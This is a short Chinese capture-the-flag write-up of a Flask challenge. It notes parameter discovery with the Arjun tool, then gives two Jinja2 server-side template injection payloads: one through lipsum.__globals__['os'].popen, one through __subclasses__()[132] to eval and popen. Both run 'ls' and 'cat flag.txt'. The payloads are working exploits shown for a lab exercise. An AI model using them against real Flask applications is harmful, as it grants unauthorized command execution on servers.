题目描述flask框架,寻找一下flask路由,f12没有发现什么东西,看了wp,这里需要用到一个工具是Arjun,可以爆破我们所需要的参数:
下载:GitHub - s0md3v/Arjun: HTTP parameter discovery suite.
pip3 install arjun
python3 setup.py install
输入arjun -h查看版本,出现如下页面则安装成功:
arjun -u http://xxxxxxx.node4.buuoj.cn:81/ -c 100 -d 5
但是呢跑了半天也没出来,可以直接试试name参数。
方法一:
直接利用flask的一个方法:lipsum,在lipsum.__globals__含有os模块,利用方法:{{lipsum.__globals__['os'].popen('ls').read()}}
payload:/?name={{lipsum.__globals__['os'].popen('ls').read()}}
发现了flag.txt,直接用cat命令:
payload:/?name={{lipsum.__globals__['os'].popen('cat flag.txt').read()}}
方法二:
1.直接使用jinjia2模板进行注入测试
?name={{%27%27.__class__.__base__.__subclasses__()}}#查看当前页面下,加载的子类
全部复制出来,放到notepad++中进行查看。
可以查找的子类模块所在位置,编号为132(133-1)
2.?name={{''.__class__.__base__.__subclasses__()[132].__init__}} #查看模块是否被加载
加载成功就可以利用了。
3.?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
4.?name={{%27%27.__class__.__base__.__subclasses__()[132].__init__.__globals__[%27popen%27](%27cat%20flag.txt%27).read()}}
这个方法的详细介绍在青少年CTF-SSTI那篇。
就这样!啾咪